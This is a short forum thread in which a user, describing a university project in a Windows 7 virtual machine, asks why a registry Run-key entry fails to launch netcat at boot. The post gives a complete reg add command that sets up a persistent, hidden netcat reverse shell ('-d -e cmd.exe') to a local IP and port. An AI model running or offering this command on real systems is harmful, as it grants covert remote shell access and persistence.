.exe program doesnt load on startup

Hello everyone,

I'm using windows 7 32bit in my VMware machine and i'm trying to make a program load on startup.
This program is netcat , i'm running a project on my university and i gotta make it load on boot.

On cmd i'm executing the following command to add netcat on startup registry:

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "netcat" /t REG_SZ /d "%windir%\system32\nc.exe 192.168.2.2 10001 -d -e cmd.exe"

where "%windir\system32\nc.exe" is the path i put "nc.exe" into , and "192.168.2.2 10001" is the local IP and port that it is gonna connect to on boot.

Anyone has any idea why when my VMware machine reboots nc.exe never runs on startup?
Any help would be much appreciated.
Thanks in Advance.

Thanks a lot for your answer CyberZeus! But i gotta do this just by editing windows registry

Yup , indeed! I've been trying to find a workthrough from about 15 days but no luck .. I cant use any sort of programs of startup folder , just windows registry otherwise i'm cut ..